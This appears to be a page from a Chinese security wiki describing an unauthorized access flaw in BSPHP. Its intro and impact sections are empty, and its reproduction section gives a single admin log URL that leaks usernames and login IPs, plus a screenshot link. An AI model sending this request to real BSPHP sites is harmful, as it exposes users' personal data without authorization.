menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right BSPHP 存在未授权访问漏洞 chevron_right BSPHP 存在未授权访问漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    BSPHP 存在未授权访问漏洞.md
    524 B / 2021-07-15 19:48:58
        BSPHP 存在未授权访问漏洞
    ========================
    
    一、漏洞简介
    ------------
    
    二、漏洞影响
    ------------
    
    三、复现过程
    ------------
    
    该处泄漏的用户名和登陆ip。
    
    ```
    /admin/index.php?m=admin&c=log&a=table_json&json=get&soso_ok=1&t=user_login_log&page=1&limit=10&bsphptime=1600407394176&soso_id=1&soso=&DESC=0
    ```
    
    ![image.png](resource/BSPHP%20%E5%AD%98%E5%9C%A8%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E/media/1600850992225-90182999-bbb8-4b08-8b37-ced3c7e1da57.png)
    
    links
    file_download